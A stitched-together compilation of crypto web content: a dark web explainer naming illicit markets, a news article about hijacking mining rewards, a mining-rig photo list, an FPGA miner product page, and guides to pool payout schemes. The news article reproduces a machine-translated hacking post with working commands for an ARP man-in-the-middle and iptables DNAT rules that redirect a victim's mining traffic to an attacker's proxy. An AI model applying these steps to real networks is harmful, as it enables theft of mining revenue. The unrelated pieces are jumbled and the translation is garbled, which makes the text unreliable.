Bitcoin mining.

[Bitcoin]

What is The Dark Web?
The dark web, or deep web (false name as the deep web is a part of the dark web), represents the parts of the world wide web that are hosted on overlay networks, darknets, TOR networks, freenet and I2P. Moreover, small P2P networks represent a small portion of the dark web. Similar to an iceberg, most of the internet's pages are inaccessible via conventional web browsers; these pages represent the dark web.
It is almost impossible to precisely estimate the exact volume and scope of the dark web, yet some experts have speculated that the dark web comprises parts of the world wide web that are 400-500 times larger than the "surface" internet.
The term "deep web" was first introduced by , a computer engineer named Mike Bergman in 2000, but the term became popular in 2009, when mainstream media started covering the illicit activities taking place beneath the surface of the internet.
The dark web is where gloomy parts of the internet flourish. Although the dark web is usually linked to cybercriminals and low abiding citizens, it is also visited by well intentioned people such as bloggers, whistleblowers, bitcoin enthusiasts and political dissidents who prefer to practice their online activities beneath the surface of the internet.
How To Access The Dark Web?
Depending on your goal, there are various tools and strategies that can help you explore various depths of the Deep Web. For most users, apart from hard core hackers, there are generally two approaches to browse the Deep Web and Darknet:
Using special search engines and search query syntaxes that are related to the PHP and HTML arrangement of websites and databases. Such strategy can be implemented using conventional web browsers such as Firefox, Chrome and Safari. Using special search engines that are coded to search deep through the Deep Web and Darknet. The most widely used of those is the TOR browser.
Computer savvy individuals and hackers can dive into deeper depths of the Deep Web by scripting special crawling programs that implement special link crawling techniques that can browse private databases. Such approach requires PHP, API coding, MySQL and other programming skills.
What Can You Buy & Sell For Bitcoin On The Dark Web:
Technically, you can buy and sell anything for bitcoin on the deep web, from legal stuff to illiegal drugs, firearms and services.
Want to hire a hacker? a hitman? Want to buy a counterfeited passport? Although I would not recommend doing such things, the Deep Web is the place where you can find people who would accept bitcoin in return for offering such services. Moreover, there is a high probability that people who advertise offering such services are fraudsters that are only trying to put a hole in your pocket.
Most marketplaces on the deep web operate in a way that is almost identical to other ecommerce sites on the surface web such as eBay, Amazon, DHgate, Alibaba and others. Some marketplaces even offer an "escrow" service that protects buyers from possible fraudsters.
The Deep Web has been widely used for trading, file sharing and political debating because users can surf the deeper parts of the internet with total anonymity while keeping all their online activities privately safe.
Brief History of Dark Web Blackmarkets and Bitcoin:
Since the deep web has emerged, it was endorsed by all forms of electronic commerce that range from small sites that sell a few products or services to massive marketplaces that create platforms for P2P trading that witness thousands of bitcoin transactions per month.
The Silk road is the most organized ecommerce site ever created on the darknet even after it has been taken down by the FBI, it is still the biggest and most notorious market ever on the Deep Web. In 2013, the FBI developed a special search engine that helped them take down the site and link it to Ross Ulbricht who was convicted in early 2015 for running an online drug market.
Ecommerce On The Dark Web Today:
Since the arrest of Ross Ulbricht in 2013, tens of Silk Road replacements have emerged in the form of hidden marketplaces on the TOR network. A Silk Road clone, called Silk Road 2 operated for a few months before being shut down by FBI agents in November 2013.
I decided to look through the Deep Web to see the kind of ecommerce available there today. Huge marketplaces are still available such as AlphaBay and Dream Market where you can buy drugs, guns, replicas, counterfeited passports and malicious software. You can also hire a hacker or buy someone to launch a DDoS attack for you on Alphabay. The below image shows the drug listing today on Dream Market.
On the other hand, there are simple stores that sell legal stuff for bitcoin. For example, RechardSport is an online shop that sells sportswear and sunglasses and accepts bitcoin payments on the deep web.
Ecommerce on the Deep Web is totally dependent on bitcoin. Although most of the ecommerce websites available on the Deep Web, darknet and TOR networks are selling illicit drugs and offering illegal services, other lawful businesses are also seeking the Deep Web to help them market their products and services.
References:
1- Wikipedia: The Dark Web. https://en.wikipedia.org/wiki/Dark_Web.
2- Ablon, L., Libicki, M. C., & Golay, A. A. (2014). Markets for Cybercrime Tools and Stolen Data: Hackers' Bazaar . Santa Monica, CA.: Rand Corporation. Barratt, M. J. , Ferris, J. A., & Winstock, A. R. (2014). Use of Silk Road, the online drug market - place, in the United Kingdom, Australia and the United States. Addiction, 109(5), 774-783.
3- Bartlett, J. (2015). The Dark Net: Inside the Digital Underworld. William Heinemann Ltd. Coleman, G. (2014). Hacker, Hoaxer, Whistleblower, Spy: The Many Faces of Anonymous. London: Verso Books.
4- Goodman, M. 2015. Future Crimes: Everything Is Connected, Everyone Is Vulnerable and What We Can Do About It. New York: Random House.
Chinese Deep Web Sites Explains How To Hijack Mining Profits.
A Chinese-language hacking blog in the deep web has described a technique that could theoretically reroute mining rewards to the hacker's account.
The post was found on a Chinese-language hacking blog, linked by a popular deep web wiki/site lister. It appears to describe a technique in which the hacker would use already installed viruses and trojans to reroute packing data to a different pool, using man in the middle attacks. The post claims that there would be little to no evidence that something had gone wrong.
While we have not confirmed that this potential malware is out in the wild, or has even been developed beyond just the concept stage, it isn't hard to imagine how concerning the effects could be. Since the hacker would have complete control of the packet data, it could be difficult to detect the negative effects of this malware. Potentially, the hacker could continue to pass on some rewards to the miners while keeping some for him or herself. It may be difficult to notice any drop in production since mining success depends largely on luck. Overtime, a miner could become suspicious after consistently low mining success for the rig's stated hashing power, but by then the nefarious party would have already gotten away with some bitcoin.
Potentially, it could bleed a massive mining operation dry, eating into the already razor thin profit margins gained by mining.
The attack requires a pre-installed trojan and the ability to modify IP tables. If a criminal has that kind of access, he or she would be able to perform much more damaging acts than simply rerouting mining profits, but this new method seems novel in its potential to fly below the radar.
We have consulted a few experts, including Bitcoin security consultant and early mining operator Blake Anderson as well as Spencer Liven of Sterlingcoin about the plausibility of such an attack and we were informed that the attack certainly seems possible with Anderson stating that "The security vulnerability [the post] references [are] Trojans and man in the middle attack. If you assume both of those vulnerabilities, virtually anything becomes possible."
The below is a google translate version of the post, unedited other than the removal of an unimportant introduction. An untranslated version of the complete post, including the introduction, can be found below the translation, we welcome any improved translations by readers.
This blog ready to introduce BTC mining machine network packet hijacking, once taken to the mining machine packet, the packet will be able to tamper with the contents of the ore mining machine that points to another pool: all this does not need to modify the mining machine configuration file so the owner of the mining machine mining machine page is not unusual, the only mine operators found Ikegami force reduction.
First, you need to give all network packets mining machine M have been attacked machine A (assume that IP is 2.2.2.2). 1) If the M and A have public network IP, we need to attack the M implanted Trojans; this blog is temporarily not discuss this topic. 2) If the M and A in the same local area network, and A is not a gateway, you need M launch ARP middleman attacks, all of the M packet forwarding via A. 3) If the M and A in the same local area network, and A is a gateway, that network administrators to attack, then this is the most convenient situation, can hijack packets.

[Bitcoin]

The bASIC idea of hijacking is: First open a mining_proxy on A, ensure mining_proxy properly connected to the mine pool, then the M's mining request is forwarded to all A's minig_proxy. Suppose that M's IP is 2.2.2.100, IP A is 2.2.2.2, the IP gateway G is 2.2.2.1 (ARP middleman attacks after the completion of the gateway IP is not important). Specific steps are as follows:
1) Start mining_proxy on A mining_proxy -o pool -p port -sh 2.2.2.2 -sp 3333 -oh 2.2.2.2 -gp 3334 -cu user -cp pass Specific parameters can refer mining_proxy, where stratum agreement listen 3333 port.
2) iptables packet hijacking Reference iptables process flowchart here. Under normal circumstances, mining packet is taking the rightmost path, that PREROUTING chain -> FORWARD chain -> POSTROUTING chain. Packet hijacking after taking the middle and the left path, which PREROUTING chain -> INPUT chain -> local process handling (ie mining_proxy) -> OUTPUT chain -> POSTROUTING chain.
Firstly PREROUTING chain, modify the destination address for inbound packets: iptables -t nat -A PREROUTING -m tcp -dport 3333 -j DNAT -to-destination 2.2.2.2:3333 iptables -t nat -A PREROUTING -m tcp -dport 3334 -j DNAT -to-destination 2.2.2.2:3333 Here DNAT 3333 and 3334 the two ports, because most of the mine pool uses these two ports.
Then open the firewall on port 3333 A: iptables -A INPUT -m tcp -dport 3333 -j ACCEPT.
Finally POSTROUTING chain, to return data for camouflage: iptables -t nat -A POSTROUTING -j MASQUERADE Can not guarantee that mine pool address mining machine M points unchanged (mine chance to change mine pool, pool with a mine have multiple IP), it returns the data can not be used SNAT, only use the MASQUERADE.
At this point, the entire process has been completed hijacking. Now you should see the mining_proxy share the information submitted by the mining machine, while mine pointed mining_proxy pool will start to count the force.

[Bitcoin]

This sort of attack doesn't represent any kind of vulnerability of the Bitcoin network. It does, however, illustrate that attacks are evolving with ever-more complex tactics. We will keep an eye out for more novel attacks on mining and bitcoin in general. In the meantime, mining operators are suggested to always use the most stringent security measures. Any other media outlets or security research firms are welcome to contact me for more info at [email protected]
20 Insane Bitcoin mining Rigs.
You already had the chance to see how Bitcoin miners take their "job" seriously in this post, when we wrote about the Frankenstein-like computers experts and amateurs were building in order to create digital currency.
If you still had any doubt about their commitment to the mining career, the next pictures will show you that they're here to stay. These next 20 mining rigs are totally insane! Oh and if your interested we did a review on the best Bitcoin mining software so you can be sure you get the most Hash per $ spent 🙂
1. 8 Core FPGA Bitcoin Miner.
This rig is so complex it even looks like a model of a small city. And in the digital currency town every light is green!
2. 2x Gigabyte HD7970 - wooden model.
Imagine the power of a machine like this. We're confused just by looking at all these wires!
3. Insane 4 x HD5870 Miner.
You can almost feel the wind coming out of those fans.
4. My Hobby Rig.
Our favorite feature of this mining rig is the supports used to balance the legs of the table.
5. Sci Fi Mike Miner.
This one is really good looking: with that sleek black box and the see through plastic supports.
6. Little Farm.
The heap of boxes is simply amazing. And the huge fan is a great detail.
7. The Superior Frame.
Never a simple self like this supported such a complex structure, we bet!
8. The Moose's Tip Jar.
Ooohhh, this one could belong to the movie "Avatar". If Pandora inhabitants could connect their special "braiding" to a Bitcoin mining rig.
9. The Navidos Money Maker.
It's like having a wine rack full of digital money makers.
10. The Ghetto Money Maker!
It's hard to believe that what seems like a bunch of garbage stuck in a plastic box can be the solution to your financial problems.
11. The Devil 13.
The Antichrist of the Bitcoin mining universe.
12. Mining Rig Extraordinaire - The Trenton BPX6806.
It's like those pastimes when you have to figure out how many objects are in the picture, minus the creepy security footage that's playing on the computer screen. Can you count the number of towers?
13. The Plan Man Rig.
Two great details: the blue neon lights making us go crazy and the little fan swinging on the top of the mining pyramid.
14. The Hippie Tech Mobo.
Those elements on the top seem like they're about to spit some spikes. No, they're just making money!
15. Monster Heater Mine.
The mining rig of a geek with obsessive compulsive disorder. At least, this one is super organized.
16. The Tech Farm.
We can only imagine how hard it will be to untangle all these wires...
17. The Fire Risk!
The number of fans is just too damn high! And also the danger rates.
18. Vendo's GPU.
The latest trend: mine Bitcoins and make the laundry at the same time.
19. Super Rig.
This mining rig can create digital coins, make your lunch and raise your kids.
20. The properly refrigerated rig.
There's one mining rig that won't get (too) hot. Well, at least, that's the goal.
21. The Millionaire's mine.
This one has got to be the winner!
And a BONUS for you: Little Baby Ghetto rig in Bitcoin Examiner office 🙂
All New AM01 FPGA Crypto Miner.

[Bitcoin]

How To Online Bitcoin Mining - Free Bitcoin Mining 2020 and Earn Money Online|15:15

[Bitcoin]

MINING OS GUIDE 2020 - SMOS, HIVEOS, HASHR8OS, AWESOMEMINER, CUDO MINER|6:50

[Bitcoin]

The Miner.
FPGA hardware miner designed to provide non-stop operation 24/7/365 in completely automatic mode. With features like:
Unattended FPGA reconfiguration Automatic profit switching Hot plug detection Regular updates and improvements.
Algorithms.
Keccak - 540MH/s Tribus - 33MH/s Blakecoin - 1.2GH/s Blake2s - 1.2GH/s Skein2 - 33Mh/s Gr0estl - 40MH/s Full List of algos.
Electrical Characteristics.
Power connection DC 5.5/2.1mm Power supply voltage 12VDC Input current (Idle) 150mA Input current (Hashing), max 1.3A.
Physical Characteristics.
Data Connection USB Type B Size 110x67x45mm Operating Temperature (Environment) 0..35℃ Storage Temperature -25..100℃ Weight 200g.
Sustainable Mining Opportunities.
With AM01 miner you can turn your mining operations completely green. AM01 was designed to work with off-grid controllers including, but not limited to:
Solar Panels Wind Turbines Hydroelectric Any other Renewable Source.
With minimal power consumption (comparable to a single light bulb) and stackable design you can connect as many or as little AM01 devices to maintain the best balance between hashrate and output capability of your new or existing renewable energy outlet.
Buy your very own AtomMiner directly from one of our approved distributors today! Find out how to become one of our Approved Distributors and start selling AtomMiners yourself.
Guide to Bitcoin mining.
Everything you need to know about Bitcoin mining hardware and software.
What Is Mining Hardware?
What Is Mining Software?
What is mining? What is mining hardware? What is mining software? Bitcoin mining Resources.
Bitcoin mining is the act of running software with specialized hardware in order to validate Bitcoin transactions for the public ledger of the Bitcoin network, also known as the blockchain. The Bitcoin network compensates these "miners" for their effort by releasing bitcoin to those who contribute the needed computational power. This comes in the form of both newly issued bitcoins and from the transaction fees included in the transactions validated when mining bitcoins. The more computing power you contribute then the greater your share of the reward.
Better known as ASIC miners (application-specific integrated circuit) are specialized microchips designed with the specific purpose of mining Bitcoins. ASICs designed for Bitcoin mining were first released in 2013 and began to mine at unprecedented speeds, while consuming much less power than FPGA or GPU mining rigs. There are now several reputable companies that have established themselves with excellent products.
Mining software is just as important as the hardware. The main function of the software is to deliver the mining hardware's output to the rest of the blockchain. Bitcoin mining software oversees the input and output of your mining hardware while also displaying statistics such as hash rate, temperature, fan speed and tempo of your miner. If you are an individual miner, Bitcoin mining software connects your hardware to the Bitcoin network. If you are mining with a pool, the mining software will connect you to a mining pool.
PPS vs PPLNS - Mining pool payment reward structure explained.
In most of our mining guides we'll list all the mining pools that are available for that coin and we tell users to choose the right mining pool that suit their needs. When we say right mining pool we don't mean its size or fees, we mean the pools payout structure and reward type. If you are new to Altcoin or Bitcoin mining then understanding pool's payment terminology can be quite confusing. Here in this post we'll explain mining pool's payment reward structure.
Whether it is a Bitcoin mining pool or Ethereum mining pool; each and every single pool has its own payment models. As of Today the most commonly known pool rewards structure are as follows:
PROP (proportional), FPPS (Full Pay Per Share), SMPPS (Shared Maximum Pay Per Share), ESMPPS (Equalized Shared Maximum Pay Per Share), CPPSRB (Capped Pay Per Share with Recent Backpay), PPS (Pay Per Share), PPLNS (Pay Per Last N Share) and lastly PPS+ (Pay Per Share Plus). Among them PPS and PPLNS are the two types of payment models that are mostly used by mining pools currently. Before we explain both PPS and PPLNS we'll make a short note on mining pool.
A Mining pools is a hub where a group of Crypto currency miners share their processing power to the network in order to solve the blocks quicker. The rewards will be split equally based on the amount of shares that they contributed in finding a block. Pool mining was introduced during early Bitcoin mining days when solo mining became non-viable. The more powerful your hardware is, the more shares you'll submit, the more shares you submit, the more you'll earn. In order for the pool to pay its miners each pool uses its own payment scheme. Two of the most popular option is PPS and PPLNS.
Difference between PPS vs PPLNS payment models?
PPLNS.
PPLNS stands for Pay Per Last (luck) N Shares. This method calculates your payments based on the number of shares you submitted during a shift. It includes shift system which is time based or by number of shares submitted by the miners on the pool. Your pool may find blocks consistently or in overtime it may have huge variations in winning a block and that ultimately affects your payments. PPLNS greatly involves luck factor and you'll notice huge fluctuations in your 24 hour payout. If you maintain your mining on a single pool then your payouts will remain consistent and it only differs when new miners join or leave the pool.
For more explanation on PPLNS we suggest you to give this post a read.
Pay Per Share pays you an average of the number of shares that you contributed to the pool in finding blocks. PPS pays you on solid rate and is more of a direct method which completely eliminates luck factor. In PPS method regardless of the pools lucky at winning blocks you're going to get 100% payout at the end of the day. This is because there is a standard payout set for each miners based on their hash power. It won't be more than 100% or less than that and with this PPS method you can easily calculate your potential earnings.
On the other hand with PPLNS payment system on average you can either get more than 100% or less than that. It is based on how lucky the pool is at finding blocks.
Should I choose PPS or PPLNS?
This is one of the common questions most miners have initially. Should I choose Pay Per Share or Pay Per Last N Share pools? If you are the person who don't switch pools often then PPLNS is definitely for you as such pools are good at rewarding its loyal miners.
Pay Per Share: No matter what, if you need a fixed payouts at the end of the day to liquidate or for whatsoever reason then our recommendation would be PPS. Pay Per Share works well for large mining farms who can calculate and have statistics based on their mining power. PPS is good for large miners but really bad for pool owners as there is a guaranteed payout for work no matter if the pool hits the block or not. For this reason and because of pool hoppers (not loyal miners of the pool) most of the mining pools have switched to PPLNS payment model.
Pay Per Last N Shares : If you are the one that is looking to accumulate and hold more coins then we strongly recommended PPLNS. For each block that your pool finds you'll get a share based on your hashrate. Unlike PPS, in PPLNS you'll get payouts more often and in the long run you'll be rewarded more with PPLNS than PPS. However due to huge variance it's really hard to calculate your mining income. PPLNS is good for both mid-range miners and pool owners as the payouts is only based on the blocks found. If your pool is more lucky then you'll see payments more often. This is the reason why miners stick to a pool where there is more hash power assuming the pool finds block very often.
You can find more comparison of mining pools payment system here.
How to find out if a pool is PPS or PPLNS?
Cryptocurrency mining can be a lucrative process. However it's very important that you find out what payment scheme your pool is using before committing your hashing power. Most of the mining pools has this information listed on FAQ page or at payouts page. If you're unable to find this information then the only option is to contact the pool support. Hope the information on this page is helpful for you to decide the right mining pool. Happy Hashing!

[Bitcoin]

Ethereum Mining Pools.
Once you get Ethereum mining hardware, your next step is to decide on which Ethereum mining pool you'll join.
A mining pool helps you get more frequent payouts rather than only getting paid when you solve an Ether block.
Note that mining has a lot of up-front costs, and if you just want Ether then it's usually a better idea to just buy Ethereum.
You'll also need Ethereum mining software to point your hardware towards your selected pool. And, an Ethereum wallet to receive payouts to. A hardware wallet like the Ledger Nano X would be the best option.
We've listed the top pools in order of hash rate share according to poolwatch.io:
Just a note about pools:
The pools below are mining pools. This means you need to own mining hardware.
You Can't Mine Ether Without a Wallet.
You need a wallet before you can mine Ethereum.
Our guide on the best crypto wallets features wallets that support ether. Read it here!
Our Top Picks.
Secure storage for any crypto.
Ledgers newest hardware wallet makes storing ETH easy without sacrificing security.
Best for Mobile.
Easy to use ETH mobile wallet.
ZenGo is a multi-cryptocurrency wallet for iOS and Android. It supports Ethereum.
MetaMask.
ETH & ERC20 desktop wallet.
MetaMask is a simple ETH & ERC20 desktop wallet. It's an add-on for FireFox.
Top Ethereum Mining Pools.
Now that we have a wallet to store our mined ETH on, let's discuss some of the top Ethereum mining pools.
Sparkpool Join Sparkpool.
Sparkpool currently mines approx. 32% of all ETH, making it the largest mining pool on the Ethereum blockchain. It runs at a 6% profit and offers lots of features for its members, including a very nice way to mine anonymously with no signups and profits deposited directly into your own personal wallet.
Payout Scheme: Full Pay Per Share (1%)*
Mine anonymously - no signup necessary Hold your own private keys Can also mine CKB, GRIN, and BEAM Largest pool.
Ethermine Join Ethermine.
Ethermine is one of the oldest and most established Ethereum mining pools. They offer very low fees and regularly find new blocks since they are the second largest Ethereum mining pool (and claim to the 'highest performing' ETH pool).
Payout Scheme: Pay Per Last N Shares (1%)*
Mine anonymously - no signup necessary Low fees Instant Payouts Pays transaction fees as well as block reward.
F2pool Join F2pool.
F2pool is not only one of the largest Ethereum mining pools (10%), but also one of the largest and most well-funded mining pools for all major coins. Their team of dedicated developers means that you can depend on the mining software they offer to be efficient and high quality.
Start mining with F2pool easily Amazing tutorials Advanced technology prevents DDoS attacks Transparent reporting.
Spiderpool Join Spiderpool.
Spiderpool is a newer, up-and-coming Ethereum mining pool with an impressive list of partners including Huobi Global, Node Capital, XFX. However, it is a chinese language only pool, so if you don't speak Mandarin, get used to relying on google translate (which is hit or miss).
Payout Scheme: Full Pay Per Share (4%)*
Large stable of partners Growing mining pool Nice mobile app to monitor performance.
Nanopool Join Nanopool.
Nanopool is a minimalist Ethereum mining pool with a bASIC UI and a nice API. It is the 5th largest Ethereum mining pool, but focuses on providing a great product over a flashy one.
Decent support NiceHash compatible Regular payouts iOS and Android Apps.
"Pay Per Share" vs "Full Pay Per Share" vs "Pay Per Last N Shares" *
For example, if the pool mines through 6 blocks before finding a block, Then their reward for all the hashing power the pool contributed to the network over that 6 block round is 3 ETH (not including transaction fees). If you contributed 100 shares for each of those blocks and the total number of shares was 1000, then your payment would be .3 ETH or .05 ETH per block.
Mining is not the fastest way to buy ethereum.
This section will answer common questions about Ethereum pools.

[Bitcoin]

What is Ethereum Mining?
Ethereum mining is the process of earning Ethereum in exchange for lending your computer's processing power to the Ethereum blockchain in order to secure it by processing transactions without a central authority.
How do I know which Ethereum mining pool is best?
All of the pools on our list are pretty good, but mostly, you just want to choose one that is reliable, has low fees, and has a server near you. You will also want to note which kind of payout scheme the pool uses and decide if it works with how you plan on mining (just ETH or a mix a coins)
Can I just join a Bitcoin pool?
No, Ethereum mining pools and Bitcoin mining pools are completely different! Because Bitcoin and Ethereum use different hashing algorithms, the hardware needed to mine each coin is different and so are the pooling protocols used.
How long does it take to mine 1 Ethereum?
This depends entirely on the hashing power you are bringing to the mining pool. For some, they could mine one Ethereum in an hour. For others, it might take a year. How many GPUs are you running? How powerful are they? Are you running them 24/7? What percent of the the total hash rate are you suppling to the network? Answering all of these is important to know if you want to find out how long it will take to mine an ethereum.
You best bet is to take the money you were going to spend on mining Ethereum and just go buy Eth.
How do I know if a pool is paying accurately?
You can check in your Ether mining software that you are really being paid according to your shares contributed. And because you will know ahead of time how payouts work, you can audit the payouts based on the blockchain to make sure you are being paid fairly.
Is Ethereum mining profitable?
Yes, with the proper hardware and a good mining pool, Ethereum mining can be profitable.
For the most up to date data on Ethereum mining profitability for October 2020, check out the video below:
What is the best miner for Ethereum mining?
As of October 2020, the most powerful GPU for Ethereum mining is the AMD Radeon R9 295X2 at 46 Megahashes per second.
How the Mining Pool Works: PPLNS vs. SOLO.
Let's make it clear what mining is and how the mining pool works. We will try to explain it in a simple "For Dummies" way.
If you want to skip education check out how do the professional miners track the network all day long and in certain moments join the mining process using their own mining rigs or NiceHash rented hashing power -> Read our post Solo Mining Pools - How to Catch Your Luck.
What is Blockchain.
Cryptocurrencies run on blockchains. A Blockchain is a sequence of blocks. Each new block is a piece of data. It contains information about the transactions accomplished within the last minutes or seconds (conditionally) since the previous block was found. Blockchain is always compared with a ledger. Each block with transactions is a page of the ledger. By ledger we mean an accountant book, not a Ledger Hardware Wallet for different cryptocurrencies.
How is the new block created? Who could turn the page of the ledger? Each new block contains a "puzzle" based on the data from a previous block. Miners from over the World try to find a solution for this "puzzle" and get rewarded. This irreversibility of the blocks makes the blockchain so unique. Hackers could not delete any block of the blockchain or substitute it.
Why is this irreversibility so important? Why should someone remove a cryptocurrency block? Let's say the Bitcoin cryptocurrency block #500 001 contains the transaction where you've sent $100 000 in Bitcoins to a Tesla dealership to buy a car. When the vehicle is taken from the dealership, you may want to remove that block with your transaction. If you succeed, you have both $100 000 in Bitcoins and a new Tesla car. Hopefully, that is not possible. This is the main blockchain principle.
How Does Mining Work.
The "puzzles" are being solved by your processors, graphics cards, FPGA or ASIC hardware. They are very complicated even for modern PCs, and their solving requires a tremendous amount of time, especially if you are alone. At the earliest days of the mining, any processor or GPU had the sufficient power necessary for finding many solutions per day and getting a reward for the detected block. With an increase of the interest to the cryptocurrencies, the difficulty level of the "puzzles" also increased, and a standalone PC or a single GPU could not find many solutions anymore. The miners have started to build the mining rigs - computers with multiple GPU's installed. The photo below shows the mining rig with eight graphics cards installed.
The difficulty level was rising because the reward for the newfound block was growing as well as it's equivalent in value. That was the time when miners decided to unite their efforts and create the mining pools. Therefore, even weak devices that are working simultaneously on solving the same "puzzle" have a chance to find its solution which would enable miners to create a new block.
Mining Pools Nowadays.
Bitcoin cryptocurrency network has, on average 144 blocks a day. Mining is highly competitive. There are many more miners in the World than 144 and each of them wants to get some reward on a daily basis. However, we have the invention mining pools to take advantage of this issue. Many mining devices work together in a pool to solve the "puzzle," finding solutions for the new blocks. Mining pool is a server that unites the miners. It sends the mining job to his miners and receives the solutions.
The pool who solves the "puzzle" gets a reward. For instance, in Bitcoin blockchain the reward is 12.5 BTC, in Ethereum network-- 2 ETH, in the Litecoin network -- 12.5 LTC, etc. Mining pools get solutions from all the connected miners, and if one of those numerous solutions appears to be a proper one, the pool creates a new block on the blockchain and gets a reward for this newly created block. This reward is shared proportionally to the efforts applied by the miners and forwarded to their wallets. The network will never know which particular miner has found the block solution. The pool would be represented as the miner who found the block.
Mining pool uses the "share" concept. Each device receives a computational task of a significant lesser level of difficulty, and the mining pool checks to see whether or not each obtained solution represents a complete solution of the block "puzzle" or not. This approach helps the pool to distribute the mining rewards. 2Miners uses PPLNS payout system. Pool checks how many shares the miners have sent from the last N shares of the pool and makes the payouts based on that value. Mining shares are also used by the pool to show the display the miner's statistics, especially hashrate.

[Bitcoin]

For some cryptocurrencies, you could still find a block solution within a reasonable amount of time even if you mine alone. It is always hard to run the full node for each coin you want to mine at your local facilities.
Therefore 2Miners presents the SOLO pools for every coin we have. It works the same way as standard pool: you connect to a specified address with your mining software, and you get all the available 2Miners features: statistics, bots, etc.
Mining With One GPU.
Is it possible to mine with a single GPU? Yes, it is. Mining pools exist especially for you. No matter if your hashrate is low, you could still get a regular reward if you mine at the pool. You could never find a cryptocurrency block alone, but the pool could do that. If you have participated in the block solution, you will get your piece of the block reward. Check our guide What to Mine with Low-End GPU.
How the SOLO Mining Pool Works.
SOLO mining is a type of cryptocurrency mining while using your own (or leased) hardware but without any help from other miners. If you find a solution for a block -- you get the coins if you don't -- you get nothing. "The winner takes it all" as the ABBA song says.
You can mine SOLO on your own or via individual SOLO pools. If you have no experience in mining pool setup (both software and hardware), we recommend you to use the special SOLO pools. Before starting your SOLO mining, you need to calculate the probability of finding the blocks with your hardware with 2CryptoCalc.com. We also recommend you to check the network hashrate chart. For example here is the chart for Ethereum Classic (ETC).
Where to Find Network Hashrate and Difficulty.
On the main page of each 2Miners mining pool Network Hashrate and Network Difficulty is shown. If you want to check not only the current information but the data for the last Week, Month or even Year, click the link below the value as shown on the screenshot below.
Where to Find Network Statistics.
You could find the complete network statistics if you click the Network tab on any page of your mining pool. Network statistics is updated in real-time. It could show you how do the cryptocurrency nodes operate when blocks are found, gas used in blocks an many more. Network statistics are indispensable for professional miners (SOLO miners especially).
How Much Can I Earn SOLO Mining.
Let's analyze the suitability of SOLO mining for Ethash mining algorithm for 12-13 mining rigs with 8 GPU's each. This hardware has a hashpower of approx. 3000 MH/s (= 3 GH/s). Go to 2CryptoCalc.com, enable Ethash algorithm only, enter 3000 in the Ethash hashrate field.
If we are mining the Ethereum Classic, a simple calculation shows us that our capacities will bring us 8.9 ETC coins per day. Block reward in the Ethereum Classic is 4 ETC coins (could be a little less if the Block is Uncle but let's assume we get standard blocks only). In the ideal World (= on average), we will find two blocks per day and get eight coins. On a bad day, we will encounter one block or even no blocks, on a good day -- three blocks and more.
Let's assume you SOLO mine MOAC. Calculator expects 83 MOAC daily reward. Each MOAC block is two coins. This means you find 41 MOAC blocks on average every day if you mine SOLO.
What option do you think is more reliable: 2 ETC blocks a day or 41 MOAC blocks a day? Obviously, MOAC SOLO mining is more reliable. You don't risk much. Even if you find 40, 39 or even 35 blocks you don't lose much. However, if you mine ETC, you could finish the day without any blocks at all. On the other hand, if you believe you are lucky, ETC could bring you much more money. If you find 3 ETC blocks a day, you get a great bonus comparing to ordinary pool mining.
If the power of your hardware is less than 3000 MH/s other Ethash coins would suit you better: Pirl, MOAC, Metaverse, etc. Sometimes the profit is more if you mine MOAC for example with hashpower of 10 000 MH/s or more. It depends on the network hashrate and difficulty. The experienced SOLO miners often choose a specific coin to be mined every day, considering many indicators.
Best Coins for SOLO Mining.
As practice shows, the SOLO mining of simple coins using powerful hardware results into an increment of profit. We base our experience on the Ethereum, Ethereum Classic, MOAC, Metaverse, Pirl, and Callisto coins. If you look at the difficulty chart of the Ethereum and Ethereum Classic, compared to the others, you will understand why the mining of Classic is more profitable than they are. It is always good to get some regular payment, so don't go alone for harder to use Ethereum while you have just one GPU.
Note that Ethereum difficulty is shown in Ph and Ethereum Classic difficulty is shown in Th. 1 Ph equals to 1 000 Th, so Ethereum network difficulty is 20 times more than the network difficulty of Ethereum Classic.
There are some little-known coins on the Ethash algorithm, which you can mine in SOLO - for example, Dubaicoin. You need to be very careful with these coins because they typically are a victim to a drastic change of the exchange rate, and the difficulty of their network will change spontaneously - however, it is possible to make good money on these coins. Usually, the cryptocurrency exchanges for these coins are not very reliable. For example, Cryptopia was hacked and closed the past year.
Let's get back to the SOLO pool itself. Your graphics cards are searching for the solutions (shares) and forwarding them to the pool. If one of these solutions appears to be a correct one, the pool gets a reward for the created block.
At the SOLO pool, a miner whose GPU found a proper solution gets ALL the reward COMPLETELY.
If you are inquisitive, then you probably checked which of the miners from the big pools had found the block solution. Usually, those are the big miners, but at joint pools, they have to share the profit with all small miners.
Block Rewards in Mining.
For instance, in the Zcash network a block reward is ten coins or $675, in Ethereum network - 2 coins or $420, in Ethereum Classic -- 4 coins or $24, in MOAC -- 2 coins or $1. All information about the block rewards could be found on 2CryptoCalc.com.
It is essential to understand that to find the blocks in these networks, different capacities are required. Let's say, 3000 MH/s hardware can find two blocks per day in the Ethereum Classic network or 40 blocks in the MOAC network.
Cryptocurrency Mining Block Time.
One of the most critical parameters of any cryptocurrency network is block time; that is the time needed to find a new block (Read more). Block time is required to make the proper rewards calculations. You could see the real block time on Network Statistics page mentioned above or on the blockchain explorer. For example, use Etherscan for Ethereum network.
Why is block time so important? If you read Mining Difficulty and Network Hashrate Explained you already now that when there are no blocks in the network for some period of time the network reduces the mining difficulty. This allows miners to find "fast" blocks(it is another long story, though). Some pro miners are spending days and weeks waiting for one proper moment to load an enormous hashrate to the particular network.
If you do not have enough hashing power for SOLO mining on your own, you could always rent some on NiceHash.com or Miningrigrentals.com. We know a lot of examples when miners made a vast profit doing SOLO mining.
Now you understand how the mining pool works. Go and make those coins! If you have any questions, don't hesitate to ask the professional miners in our crypto chat.
Different Bitcoin mining Pool Payment Methods (PPS vs FPPS vs PPLNS vs PPS+)
We at Luxor Mining have received a lot of questions about the different payment systems that we and other pools offer. So we figured it would be beneficial to put together an easy to read guide on the various systems.
Company Background.
Luxor is a Seattle-based mining pool operater. If you are interested in getting news from the Mining industry subscribe to our free bi-weekly newsletter here. We cover the latest news from the manufactures, mining farms, pools, rig price changes and more.
We also run Hashrate Index, a data website that tracks how much mining pools on aggregate are paying out to miners on an FPPS method here.
So what is PPS, FPPS, PPLNS and PPS+. Before we jump into it let's define a few terms:
Key Terms.
Block Reward - The block reward simply refers to the new coins distributed by the network to miners for each successfully solved block. In Bitcoin the miner that successfully finds a block is rewarded 6.25 BTC for their efforts. This number declines over time as we approach the maximum amount of BTC.
